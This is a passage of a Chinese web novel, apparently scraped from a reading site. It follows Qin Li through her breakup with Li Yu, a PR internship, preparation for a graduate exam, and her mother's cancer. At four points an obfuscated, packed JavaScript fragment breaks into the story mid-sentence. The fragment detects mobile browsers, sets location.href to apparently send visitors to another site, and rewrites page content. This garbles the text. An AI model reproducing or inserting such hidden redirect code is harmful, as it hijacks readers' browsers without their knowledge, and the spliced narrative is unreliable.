秦离脸上的笑容不变。 何旭更敏感些,找了个名头把大咧的何章远支开,在秦离对面坐下。 他年龄比何章远还要大些,个头也很高,皮肤黝黑。秦离平时和他说话很少,面对面时压力有点大,不知道他这会留下来要干什么。 何旭不太习惯和小姑娘单独聊天,也有些拘束,但还是开口问她:“秦离,你还好吗?” “还好啊,都挺好的。” 秦离条件反射又挂上笑容。 何旭一开始没有直视她的脸,声音也放得很轻:“你大三下了吧,其实这个时候迷茫,压力大都是正常的,还不说有小羽的事……” “嗯……” 秦离脸上的笑挂不住了,恢复了发神的模样,有点呆。 “你……”何旭观察着她的表情,“刚刚是不是听见我和章远说的话了。” “……嗯。” “小羽,其实我也不是很了解她。她是个心里很会藏事的人,大概越是对亲近的人,越不愿意展现自己的软弱和狼狈。” “哎,你们都还太小了,再给彼此多一些时间吧。未来还很长,两个人在一起不容易,像我和章远,吵过闹过分过,现在兜兜转转还在一起,磨一磨,很多坎都会过去的。” 何旭像个关爱年轻人的长辈。或许是看秦离状态实在不算好,他才忍不住多说了两句,但也没说太多。 最后,他建议秦离多出去走走,看看自然风景,也可以找心理咨询师聊聊天。 总之,一切以自己的感觉为重,怎么舒服怎么来。 秦离听进去了,但没去找心理咨询师。她请了一周假,独自一人去了秀城。 秀城是江南水乡,以刺绣出名。这里水很多,园林也很多,建筑小巧精致。 秦离没有去什么旅游景点,每天只是漫无目的地逛着,在大街小巷,船上,水边,亭子里坐着,吹吹风,晒晒太阳,然后写点像雨像雾又像云的随笔,朦朦胧胧。 偶尔,她也随手拍点风景照,大的小的,糊的不糊的,发在朋友圈里,没有编辑任何话。她发完就完,没去看有多少点赞评论,只是记录。 慢慢的,她的感知恢复了,看见不同的色彩,闻到不同的味道,听见不同的声音,都会有一点点情绪产生,心脏上的那点阴霾好像被驱逐。 内心也变得很平静。 她有时间好好想想,自己究竟想要什么,要做什么。 人生中的那些感情,又到底都是什么。 离开的最后一天,秦离给黎羽打了个电话。 黎羽没有马上接,隔了半个小时才拨回来,声音里有掩不住的疲惫:“小乖,怎么突然打电话过来,发生什么事了吗?” 秦离正坐在木筏上,眼前是一池含苞待放的荷花,有按耐不住的已经偷偷绽放。 “没什么,就是有点想你了,想听听你的声音。” 然而,好久没听见的声音,竟让秦离觉得有些陌生。 黎羽笑了,笑里声音似乎有点不稳:“我也好想你啊……” 秦离捏紧了手机,主动和黎羽说起许多事,说到她来秀城,做了什么,看见了什么,遇见了形形色色的陌生人。 “原来你去秀城了啊,挺好的,那边风景很美。” 电话那边,隐约有女人在喊她,声音很沧桑,一直念个不停。 两人都是一顿。 “我……”黎羽欲言又止。 秦离猜到是谁了,没有多问,只道:“这里的荷花要开了。” 黎羽松了口气,没多想,说出承诺:“那之后我们再一起去看吧。” “……好。” 这通电话打了很久,之后又为两人续了半个月的消息来往。 一个月的时间到了,黎羽依旧没有回来。 盛夏已经到来,球场上依旧是跑动着,大笑着的少年们。秦离有时候路过,看着她们挥洒汗水,同样耀眼。 她没有问,黎羽主动跟她说的,推迟三天,不,五天,十天…… 她没法问,没法催。 能怎么催呢…… 后来,黎羽不再说了,不知道是没法说,还是不敢说。 两人的消息又慢慢减少,到最后,再度归于沉默。 再后来,六月的一个周五,秦离记得很清楚,那天有希腊神话的专业课,结束后下了好大好大的暴雨。 她没带伞,也不想买伞,就在清河路上踩着自行车慢慢往回骑。 看着街上奔跑的路人,她依旧慢慢骑着。 反正都淋湿了,前面也都是雨,跑又有什么用。 回宿舍时,秦离的鸭舌帽帽檐都在滴水。她就是在这时收到黎羽的消息的。 【小乖……这会有没有空,我想和你说件事。】 秦离捏着手机,雨水不断顺着发梢和睫毛滴落,在屏幕上溅开。 对于黎羽要说的事,她有些预感。 x……zs……zau……zai…… 【在】 秦离身上发软,坐在了地上。她手在发抖,好半天才打对字,抹开屏幕上的水。 黎羽隔了很久才将后面的话发过来。 【对不起,原谅我太怯懦,不敢给你打电话,更不敢当面跟你说这些话。不,你不用原谅,应该怪我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370196|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始,不应该在自己的人生都还一团糟的时候,和你在一起。】 秦离看着这些话,感到愤怒。 所以黎羽是后悔了是吗,后悔和她在一起…… 但她的身体抖得太厉害,实在没有力气打出一个字,只能看着黎羽继续说着。 【对不起,我过去其实跟你说了很多谎话,避重就轻,来掩饰我那些怯懦的行为。我的懦弱无能,远比在你面前表现的要多得多。你或许也知道了,我这次并不是去出差,而是回柳城照顾我妈。她生病了,病得很重,我之前在你面前说得很坚决,但其实我根本无法完全和她决裂。】 【我曾告诉你,从小我妈就打我,控制我,但我没说,她也是独自辛苦将我养大,咽下更多的苦没有告诉我,只能一个人偷偷哭。知道我喜欢女生后,她也曾偷偷去了解过,但这是一个她难以想象的世界,她大概只是太害怕了,害怕我离开她的保护圈后过得不好。】 【我知道,说这些或许本身就是我软弱的表现。但看见她躺在床上喘气,连喝水进食都变得艰难,一遍又一遍唤我的名字时,我又想算了,最后时刻了,何必再和她闹呢。】 【我好像说了太多我妈的事了,哈哈,这些烦心事,还是不多说了,说多了让人厌恶。】 【短期之内,我大概是不会回来了。我曾以为我能解决一切,能把所有事都消化掉,然后能和你一起好好走向未来。现在看来,还是我太自大了,哈哈。】 【抱歉,小乖,或许我们还是分开比较好,不要因为我耽误了你的人生。】 【你好好准备出国申请吧,要好好照顾自己。】 看到后面,秦离的眼前已经一片模糊。 即使早有心理准备,但事情真正来临的时候,她还是哭得一塌糊涂。 她理解黎羽的想法,但又怨她,怨她不肯再坚持下,就这么轻易放弃。 但其实她也明白,这已经不是坚持不坚持的事了。就算黎羽曾经把她母亲说得再差,也改变不了她们是母女,血浓于水的事实。 而且自己,又能好到哪里去…… 现在还是体面分手。对方已经放弃了,自己再纠缠,闹起来太难看了…… 于是,最终,秦离只回了一句话:【好的,我知道了。】 回完后,她突然站起来,拽下脖子上的兔子项链,扔进了垃圾桶。接着,她不管浑身都湿透了,打开柜子,将黎羽给她买的,两人一起买的东西全部翻出去,全部扔了。 这些做完,她又打开手机,删掉黎羽的好友,电话号码,把跟她有关的所有照片和消息全部删除。 近一年的所有痕迹,在不到半小时内已经全部变成了垃圾。随着时光的流逝,连记忆也会慢慢褪色。 黎羽大概很快就发现自己被删好友了。 她拨来了电话,一串熟悉的数字在屏幕上闪烁着。 秦离将还滴着水的自己藏进被子里,没有接,没有拉黑。 于是,电话就这么一遍又一遍响着,变成不断叠加的未接来电数字。 数字变成两位数后,黎羽没再打了,只发了三个字过来。 【对不起。】 67. Chapter 67 黎羽没有再来打扰秦离了。 之后不久,屏幕又亮了,这次是陈玲嘉的消息。 【学妹,你没事吧……】 后面接了个探头探脑的表情图。 秦离知道,是黎羽找她来的。她本来不想回,但已经看见消息了,刻意不回,不是显得她特别在意黎羽要跟她分手这件事吗。 而且她和黎羽的事,不应该去打扰别人。 【学姐,我没事的^^我只是觉得既然已经说清楚了,就没必要再联系了。】 陈玲嘉宽慰她:【我才刚知道。哎,这也是小羽对不起你,虽然我是她的朋友,但这件事上我是站在你这边的,你有什么事也要跟我说呀,离了小羽,我们也依旧是朋友……】 陈玲嘉是个很可爱的女孩子,两人一直很聊得来。看见她发来的一长串消息,秦离仿佛听到了她那种嗲嗲的特别腔调,脸上不自觉多了点真心的笑容。 她庆幸自己没有忽略陈玲嘉的消息,决定彻底将有关黎羽的所有记忆都扔进垃圾桶,全部清除,不再提起。 【我们以后也依旧是朋友,一切的一切,都跟黎羽没有关系,不用再提了。】 秦离态度很坚决。后来,她们没有再说任何跟黎羽有关的话题。 室友等会中午就回来休息了,秦离不想让她们发现异常,去洗了个澡,打扫床上床下。 期间,她一直在跟陈玲嘉发消息,聊了很久。 室友回来的时候,秦离已经收拾好房间,也收拾好情绪。 一切都已经过去了。 秦离觉得没什么大不了的,只是一次恋爱分手而已,日子还是一样过。 朋友们逐渐都知道这件事了,看她还是该吃吃,该喝喝,玩乐笑着,便以为她没将这段感情放在心上。 有人感慨:“黎羽看着感觉确实跟你不是一路人,分开就分开,下一个更乖。” 秦离笑着应道:“对啊对啊。” 大概确实不是一路人。 秦离确实没什么。她只是不再去店里吃螺蛳粉,不再看那些拉拉电影,避开盛夏喧闹的操场,遗忘浪漫的望月湖。 不准备考研,也不准备出国。 未来是什么,不去想。 她又恢复了快乐日常,每天看动漫,打游戏,昏天黑地看小说,天亮了就睡觉,天黑了才起床。 没有忧愁,多快乐啊。 这样的快乐一直延续到了暑假。 要说最大的好消息,大概是妈妈的治疗结束,身体好起来,终于出院了。 确定没事,加上从秦离的日常判断出她已经没和那个所谓恋爱的女孩联系了,妈妈彻底放心,奔赴康城,继续她的事业。 这个夏天,爸爸单位也特别忙,便没到南城来,家里只有秦离一个人。 一个人的天堂。 她继续着昼伏夜出的生活,沉迷虚拟世界,饿了就点外卖,困到不行才睡。 两个月时间弹指一挥间过去了。开学,不过是换个地方继续快乐罢了。 最开始发现秦离不对劲的是李清韵。她已经基本确定港城大学的offer,要过去读新闻系。 自己的事忙完,她也终于能歇一歇,然后便注意到秦离什么都没做,为数不多的课也不怎么去上,就在宿舍床上躺着刷手机。 “天啊,离离!”李清韵看着秦离圆了一圈的脸,发现她一个暑假回来胖了不少。 她意识到或许和黎羽的分手对秦离并不是没有影响,但她没直说,转而问道:“你最近都在干什么,说好的考研呢?就算不考了,出国还是工作,总得准备一个吧,” 突然被拉回现实,那些需要选择的路又摆在眼前,秦离只想逃避,含糊道:“不是还有一年才毕业嘛,再说吧。” 李清韵拗不过她,又担心,在微信上把什么出国,考研,工作等各类资讯全部给她推送了个遍,白天里也非要拉她出去吃饭,不让她一直在床上颓着。 秦离知道她是好意,再不情愿也爬起来了,被迫恢复正常作息。 从虚拟世界里拔出,她才发现,现实的那些痛苦和烦恼,从来不会因为逃避而消失。 快乐没有了。 过了几天,秦离在校园里遇到了陈玲嘉。 “学姐,你不是已经毕业了吗?” 陈玲嘉俏皮一笑:“我保研啦~我们还可以再在学校相处一年,惊不惊喜?” 秦离也笑了,为她开心。 两人决定去potato恰个饭,那里的韩餐一如既往地好吃。 饭桌上,两人自然而然聊到了毕业后的打算。 面对陈玲嘉期待的眼神,秦离不好意思说自己什么都没准备,更不想表现出在离开黎羽后过得差了,便撒谎道:“在找工作呢,也去了一些招聘会,但我之前在考研和出国上犹豫太久了,没什么实习经历,感觉简历不好投。” 这话半真半假,陈玲嘉倒是真心为她考虑,思忖道:“工作也不错,但没有实习经历,简历确实不好看呢,而且毕业可是要求有三个月的实习章的。不过现在也还有时间,才大四上嘛,要么你边去实习边继续找工作,多做点总没错的。” “啊!毕业还要求这个吗?那我现在能做什么实习啊……” 和毕业要求挂钩,就算是咸鱼如秦离也开始着急了。好在陈玲嘉在实习工作这方面还是经验丰富,给她出谋划策。 最后,秦离决定去公关公司。陈玲嘉帮着给简历润色,然后秦离顺利通过面试。 这一切转变得很快,但无论是家人还是朋友,都为她迈出的这步而感到开心。 秦离觉得一切都太快了,但正式上班的时间就在三天后。 实习的这家公关公司还挺大,是家跨国企业,就在梦城最繁华的区域,周围有很多小资情调的小店,众多商圈。 公司早上十点上班,晚上下班时间不定,每个小组有各自负责的项目,大家都以英文名互称,日常办公也都是发的英文邮件。各小组负责的项目都是些什么知名汽车,红酒,酒店品牌,还有国际赛事的公关宣传,看上去就很高大上。 秦离的leader是个三十岁,短发高挑的女性,梦城本地人,随时全妆出现,看着十分干练,嘴上说着好多秦离不懂的词,中午休息时间会带她吃有机食物等各种很神奇的店。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370197|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一天的实习工资也都花在里面的,或许还得贴。 公司对着装有要求,什么短裤T恤牛仔裤肯定不行,必须是职场正式打扮。秦离也因此去买了些衬衫,半身裙和小西装,踩着高跟,看着也挺气派,就是又贴钱不少。 每天的工作大概就是联系媒体老师,做各类报道准备,以及跟进维护现场活动。秦离主要是做一些辅助工作,但也跟着leader出入了不少场所,还薅了些纪念品。 公司的大家好像随时都打扮得很精致,用的都是价格不菲的日用品,讲究生活品质,是秦离想象中那种光鲜亮丽的职场丽人。这种生活在她看来足够纸醉金迷。 她好像挺喜欢,也挺适应的。 或许,毕业后就继续在这个行业工作也不错呢。 抱着这样的想法,秦离在公司里更加卖力干活,有时候下班时间跟正式员工也差不太多。 那些忧愁成了过去,生活好像变得有盼头了。连和家里人通电话时,秦离都说,考虑毕业后就在梦城工作,不考研也不出国了。 妈妈爸爸已经习惯她想一出是一出了,这次也接受了她的决定。或许是秦离过往一直都很顺风顺水,她们都觉得她最终肯定能走出自己的路,不用太操心。 是什么时候又开始犹豫退缩的呢,大概是一次项目成功后的庆功宴吧。 那是隔壁组负责的项目,顺利搞定后,boss请客让大家去KTV里嗨,约专车接送,去的自然也不是秦离平时去的那种廉价量贩KTV。包间很大,一群人刚进去,漂亮的服务生就送上各种漂亮的器皿装着的洋酒,秦离也不太懂。 庆功宴上大概有二十多个人,近期在公司的所有人,包括好几个实习生,还有最近来公司短期合作,做财务工作的两个女孩子都来了。 是两个很好看的女孩子。因为其中一个长发女孩叫Sissi,跟陆希意有点像,也是身材妙曼,肤白貌美那种类型,秦离多注意了些。 boss发话后,现场气氛变得很火热,所有人都欢呼着,畅饮着,酒上了一轮又一轮。 大家还是比较照顾实习生的,没有刻意劝酒,但即便如此,大家也都喝了很多,一个个满脸通红。秦离也喝了些,但她酒量比较好,这点酒对她来说不算什么。 即使是工作场合,秦离还是忍不住自己的麦霸属性,点了很多歌,一首接一首唱着,完全不考虑做什么工作社交。等她回过神时,包间里的人大多都倒下了,没倒下也还在继续喝,还有些不知道去哪里了。 秦离看到Sissi喝得很醉。她穿了条很短的裙子,倚在点歌台那里,东倒西歪的,旁边有个男同事正想凑过去跟她说话,看着贼眉鼠眼的。 秦离皱眉。或许是酒意上头,她跑过去假装无意撞开男同事,想将Sissi扶到她这边的沙发来。 Sissi没站稳,直接栽进她怀里,是成熟的女人香。 秦离有点不自在,硬撑着将人带过去,放在沙发上,才松了口气。 这时,Sissi瞥了她一眼,眼神在昏暗的灯光下有有些许暧昧,声音也是撩人的:“是你啊……你,之前是不是在,看我?” 68. Chapter 68 秦离僵住,为偷看人被发现而难为情。 Sissi笑了,风情万种。她眼神迷离,找了个舒服的姿势靠在秦离身上,香气扑鼻:“要不要加我的微信?我平时不随便加人的,不过你看着还挺可爱……” 这下跟陆希意完全不像了。 秦离被吓到了。她结巴着胡言乱语:“没……没关系,谢谢……你,你好好休息……” 旁边另一个和她一道的女孩子扑哧笑出声,熟练地招呼秦离:“你别搭理她,她就是这样,喝多了酒就乱撩拨人,等下酒意上头就老实了。” 果然,Sissi好像就清醒了这么会,很快又捂着头晕乎乎的,要吐不吐的样子,直接栽在了沙发上。 另一个女孩子还在和几个同事喝着笑着,没留意她。秦离犹豫着,脱下绿色外套,盖在Sissi身上,挡住走光的短裙。 她突然觉得有点不太喜欢包间里的氛围,决定去外面透透气。 外面的转角休息处,有几个同事坐在那里抽烟聊天。秦离跟他们不太熟,没有过去。 那边的声音很大,秦离听见她们在吐槽Sue。Sue就是这次项目的主负责人。 “你看Sue在boss面前那得意洋洋的样子,不知道的还以为他立了多大的功呢。” “是啊,而且Lily姐才是首先提出这个idea的人,是她share给其她人的,她凭什么抢这个风头。” “活干得少,漂亮话倒是说得多。” 秦离大感意外。 冷嘲热讽的几个人,男男女女都有,都是她平时看着觉得很友善的同事。刚刚在包间里,她们还笑着恭喜Sue呢,没想到转头就是另一副模样。 有人转过头来,她连忙躲开,不想被人发现她听到了这些话。 心烦意乱着,秦离朝洗手间的方向去,一进去就看见正趴在洗漱台上吐的Sue。 秦离看着不忍心,给她递了纸巾。 Sue愣住,接过后擦了擦,不好意思道:“Luna是哈,抱歉让你看见我这么狼狈的样子。” 秦离想起外面那些人说的闲话,看着Sue惨白的脸色,忍不住道:“别喝那么多了,对身体不好。” Sue看她的眼神像是看单纯的妹妹,感慨着:“我也不想,但不行啊。这种场合,就是要把气氛造起来,其实说句实话,场上大家谁又是真的享受这个场合,不过是必要的应酬罢了。” 她对着镜子补完妆,对秦离道:“我看你平时工作也挺卖力的,脑子也很活,很出色。这行业是吃青春饭的,如果真的要入行,考虑清楚了。” 走之前,她突然想起来,落下了句“对了,你唱歌挺好听的”后神采奕奕地出去了。 秦离连忙跟着她一起回到包间,看着她踏入包间的一瞬间大变脸,每一块肌肉好像都在表演充沛的感情。 “来来来,是谁停下酒杯了,这可不行啊。” 还没倒下的人都应和着举杯。 秦离看见之前对Sue说三道四的几个人也在其中,表现出的热情和捧场一点不比其她人少。她恍惚都觉得刚才听到那些话是不是都是她臆想出来的了。 这是秦离第一次察觉到职场人的两面派和虚伪面具,让她充满抗拒。 沙发上,Sissi已经昏睡过去了,半个身体掉在沿上,就要滚下去了。她期间可能吐了不少,她的头发和秦离的绿色外套上都沾了些污秽物。 没有人在意她,就任由她这样狼狈地躺着。 秦离将她挪回正位,给她简单擦了擦,没再去唱歌了。她坐在旁边发呆,顺便看着Sissi,不让她掉到地上去。 庆功宴搞到了很晚,所有人都醉倒,只有秦离和Boss还清醒着,连几个实习生都喝了不少。 Boss挺意外,还夸秦离:“小姑娘酒量不错啊。” 秦离抿着嘴笑着,没说话。 结束后,秦离和Boss两人将所有人逐个摇醒,再逐个送上出租,最后才打车回家。 拎着变脏的外套,带着一身酒气,秦离靠着车窗,看着窗外的霓虹灯被拉成长带,颜色看着眼艳俗劣质。 她脑子里只想了一件事,幸好八点后的打车费公司可以报销。 那之后,秦离上班就没那么积极了。 公司里大家依旧是光鲜亮丽,财务的Sissi也依旧比不认识她。只是有时候,秦离会听见一些消息,这个同事在准备会计考试,那个同事打算回家做家庭主妇了,就连leader,似乎也在做其他电商生意。 三个月实习期一结束,秦离便离开了。leader给她写了很高的实习评价,倒也不错。 兜兜转转,秦离还是不知道自己要做什么。 大四上也要结束了,秦离要写英语本专业和法学辅修两份毕业论文,还有搞定其他毕业相关一堆琐碎事情。 现在无论是出国申请还是找工作都太晚了,考研笔试也在去年年底就已经结束了。 秦离恍惚,不知不觉她已经错过了所有选择的机会。虽然家里人没催,也没怪她,但时不时的询问还是让她倍感焦虑。 最后,一个很偶然的机会让秦离做出了个很保守的决定。 寒假结束后,她没有立刻返校,而是在南城呆了半个月。期间,得知陆希意也要出国了,而且大概率是去了便争取定居国外不回来了,秦离决定去找她多聚聚。 陆希意是南城大学的学生,最近也在学校办理最后的毕业出国手续,秦离便去学校找她。 南城大学跟E大这种商科学校风格完全不同,校园里学生朴素很多,校园里有种沉淀和厚重感。 秦离喜欢这种感觉,让她的心也平静下来,慢慢去思考。 看见学院门口的宣传板,秦离去听了场关于澳洲文学的讲座,第一次感受到浓厚的学术氛围。这种感觉让她快乐。 和陆希意的聊天相处也让秦离快乐。 陆希意是个很简单通透的女孩子。她想要出国定居,便一直朝这个方向准备。她并不执着于爱情,如果有人喜欢她对她好,她能接受的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370198|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也就行了。 一个跟秦离很不一样的双鱼座。 在南城大学感受了几天后,秦离下定决心。她打算回南城,考南城大学的中文系专业研究生,从现在开始准备,年底考试,一整年的时间足够了。 中文系的话,跨考程度不算大,英语和政治方面她都有先天优势,专业课也不太难。只不过,相当于毕业后的一年都拿来备考了,就算考上,也是16年才能入学。 白白浪费了一年。 秦离犹豫再三,还是把自己的打算跟家里人说了。 妈妈似乎比以前更忙了,没提什么意见,说都随她。倒是爸爸和她语重心长聊了很久,跟她确认这次是否真的下定决心,不再改变了。 “这次绝对是真的!!”秦离说得很坚定,“我先保证毕业,然后就备考,推迟一年也是确保时间充足点。回南城读书离家近,而且读中文系也算是圆我一个梦了。” 她这次做了详细的计划,每天都去图书馆,是真的踏踏实实在备考。 备考的过程让秦离感到充实且快乐,她对待生活也变得更有耐心,更加期待。 古代文学,现代文学,外国文学,文学思潮,每一页纸,每一行字,都让她如获至宝。 读文学的感觉,真的好幸福啊。而且读的书多了,她的灵感也多了很多,写了不少东西,也恢复了一些网站连载。 秦离喜欢这种钻研学术和自由创作的感觉。 大四下的学校变得有些孤零零的,好多人都不回来了,秦离每天宿舍图书馆两点一线地跑着,倒也过得很安心。 虽然经历了一点小波折,但最终还是顺利毕业了。 拍毕业照的时候,所有人都回来了。除了常规的学院合照外,秦离答应了跟很多人合照,还跟室友约了四人组的学院服和JK服,摄影找的是隔壁学院的学妹,也是二次元的小伙伴。 合照自然跑遍了校园里的所有地方,教学楼,大草坪,操场,河边,望月湖,每一次都勾起了秦离想要遗忘的回忆。 和那个人的回忆。 陈玲嘉也来了,给她送了花,祝她毕业快乐。 是一束很大的粉红雪山。 她很喜欢。 拍摄结束后,学妹挑了几张拍得不错,刻意直接出片的,准备通过手机直接传给秦离。 “学姐,你下个这个软件,打开蓝牙,我发给你。” 秦离按照学妹说的做了,下了新的软件,点的时候不小心,点到了旁边另一个好久没用的软件,是印象笔记。 她正要关闭,发现上面多了一条没见过的陌生笔记,是前年九月时候。 是用彩色的笔触手写的,一笔一划很幼稚。 【很喜欢小乖呢……她在睡觉zzzzzzzz她会不会睡到明天?】 是……黎羽写的…… 前年九月……那时她们刚确定关系……黎羽还没忙起来……她们对未来……一无所知…… 秦离摸着屏幕上的彩字,强行忘却的记忆和感情随着泪水流出。 69. Chapter 69 居然已经过去快两年了,秦离恍惚。她之前删掉了黎羽的所有联系方式和聊天记录,现在往回看,竟想不起黎羽是什么时候悄悄在手机里留下这段话的。 已经遗忘的,她忍不住想去追寻。翻了前年这个时候和其她人的聊天内容,她终于拼凑出了记忆。 是那次垒球赛结束后吧。最后一次垒球赛……那个还相爱的湖边…… 秦离的眼泪越流越多,学妹慌乱问道:“学姐,你怎么了?” 秦离连忙抹掉眼泪,妆花得一塌糊涂,却仍笑着:“没事,没事,我就是想到毕业了有些伤感,没事的……” 学妹或许看出有什么隐情,体贴地没多问。 回去后,秦离心中也一直念着。 她看着这条笔记,理智告诉她应该删掉,但她却无法像刚分手时那么果决了。 她不后悔之前断掉所有联系,消除所有记忆,毕竟分手的前任就应该扔进垃圾桶。但……或许是上天再给了她一次机会…… 留着吧……就留着这一条…… 秦离有些想黎羽,但她好像已经不记得那串数字了。 她不敢去问谁,只有悄悄去翻陈玲嘉的朋友圈。 陈玲嘉开放了所有查看权限,但只有三年前她们大二时候的合照,黎羽出现在了其中一张照片的角落里,或许因为朋友间的打闹,在浅浅笑着。 那时候的她看上去还很稚嫩,还未经历后来的波折,眉间没有忧愁。 秦离对着那张照片看了很久很久,最后还是没有存下来。 她告诉自己,就放纵这么一会,就看这么一会就好。 然后依旧要往前看,不能回头。 *** 四年后。 2019年的冬天,似乎有点不太安分,流言纷飞,暗流涌动。 但秦离什么也不在意。她结束了一天的工作,换了身衣服准备去医院。 这几天南城的天一直是灰蒙蒙的,看不见一丝阳光,连带着心脏上都像笼罩了一层阴霾,让人喘不过气来。 人心浮动。 今年的房地产行业没有前两年那么火热,秦离已经快半个月没有招揽到新客人了。下午来的几位客人都没个好脸色,语气很冲。秦离知道,是前面同事埋下的雷,但她没办法,只能陪着笑脸,好声好气说话。 到下班时,秦离的喉咙在冒烟。她来不及喝一口水,笑容拉扯着脸颊疼痛,干燥的嘴皮粘在了一起。 好累…… 一直做销售也不是长久之计,秦离在考虑换个工作。 但做什么呢?要是来钱慢,她总是心里不踏实,即使家里已经没有两三年前那么窘迫了。 到医院时快晚上九点了,妈妈已经吃过护工打来的饭菜。秦离去洗手间洗了把脸,揉了揉,对着镜子又拉出熟悉的笑容,才进了妈妈的病房。 “妈,我来了,今天感觉咋样?” 妈妈躺在床上,头发白了许多,身体也变得消瘦,早已没了过去意气风发的女强人模样,看着像苍老了十岁。 “勺勺……”看见秦离强撑也掩不住的倦色,妈妈脸上满是疼惜,举着手喊她过来。 “都是妈妈连累你咯,让你这么辛苦,白天上这么久的班,晚上还要过来……” “妈,说啥呢,”秦离拍拍她的手,熟练地安慰她,“这不是你生病了嘛。等周末爸过来替我的班,我就在家里躺平了撒。而且最难熬的时候已经过去了,现在这些都不算撒子。还没说呢,你今天感觉咋样,有没有哪里不舒服?” 妈妈笑了,又欣慰,又苦涩:“挺好的,一切都挺好的。” 秦离应着,暗里决定等会再去找医生确认下情况。 确实,最艰难的时候已经过去了啊…… 四年前的冬天,秦离参加完研究生笔试,出考场的那刻意气风发,踌躇满志。 她每门都考得很好,笔下行云流水,遇见的全是她烂熟于心的内容。她有信心,绝对能高分进面试,最终通过的概率很大。 南城大学的中文系啊,听上去就好美好…… 那时候,秦离真的好开心,满心盼着翻过年后出成绩。 这是她第一次,完全出于自主意愿做好了一件事。从大学出来,她终于朝前踏出了一步,不再在原地彷徨,一事无成。 那时候的她充满对未来的憧憬。 然而,天有不测风云,这个冬天格外冷,也格外残酷。 翻过年,还没等到天气回暖,没等到春意带着好消息到来,冰冷的现实就将秦离打了个措手不及,彻底搅乱了她的人生。 妈妈得了癌症,突然倒下了。 秦离不知道,明明只是肺结核,而且都已经治好了,为什么会突然出现癌变。 那阵子,一切都变得兵荒马乱。爸爸请假来了南城,她们总是在医院间辗转,打听厉害的医生,送人情,联系最好的医院,安排住院、治疗和手术,好多好多事…… 爸爸说,让秦离不用管这些,他来安排就行,她只用好好学习,继续准备考试就好。 但这时候,秦离哪里还有心思说什么学习备考。 她像是突然打通了任督二脉,从原本封闭的自我世界里钻出来,看明白了一些现实。 原来,妈爸并没有她想象中那么无坚不摧、无所不能。妈妈会疲惫倒下,爸爸也会茫然不知所措。她看着爸爸背着她给亲戚朋友打电话,笑着拉人情,到后来借钱。两个人在人来人往的医院里等几个小时,就为找医生送人情。 还看见医院里那些哭着、闹着、愁着、呆着的好多好多人…… 后来回看那段时光,秦离才意识到,一切早有端倪。 爸爸虽然工作稳定,看似朋友也不少,人际关系处得不错,但实际也不过只是老家县城的普通公务员罢了,挣不到几个钱。 家里的主要经济来源还是妈妈这边。她在各地做工程,确实能赚些钱,但也是实打实的累。而且要以女性身份在这个行业和三教九流的人打交道,着实不容易。常年劳累加上得过一次结核病,妈妈的身体本就不堪重负,再次奔波起来,身体状态更是时好时坏。 雪上加霜的是,妈妈在康城投了个大项目,关于土石方的,若是做成了的话,每年能有上百万的利润。过程中一切都谈好了,然而谁知道项目刚启动,牵线的主要政府负责人就因为其它事被抓进去了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370199|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后续一切都打了水漂,甚至连钱也收不回来。 妈妈不服气,认为是自己运气太背,越是这样,就越想从其它项目上赚回来。心态变化让她失去了往日的小心谨慎,踩的坑越来越多,投进去的也越来越多,连原本准备留给秦离出国的钱都投了进去。 最后,越陷越深。 再到确诊癌症,成为那最后一根稻草。 但那时,秦离并不知道那么多。她只是感到惶恐害怕,本能想逃回自己的象牙塔,却必须忍住,逼着自己睁大眼睛,看到更多,再做一些微不足道的事。 她每天都往医院跑,不去的日子里就在网上搜索各种抗癌的帖子。她不敢接触任何娱乐的内容,好像在这个时候一点点轻松快乐的心情都是对家人的背叛。 弦越绷越紧。 在接到南城大学招生办老师的电话时,秦离才恍惚,原来笔试成绩半个多月前就已经出来了。她果然如自己所预料的那样,考得很好,笔试排名第二。 老师跟她确认是否参加面试时,秦离犹豫许久,最后还是拒绝了。 老师愣住:“啊,是有什么难处吗?笔试考得这么好,不继续来面试也太可惜了。” 秦离习惯性勾起笑容——她最近老是这么笑。 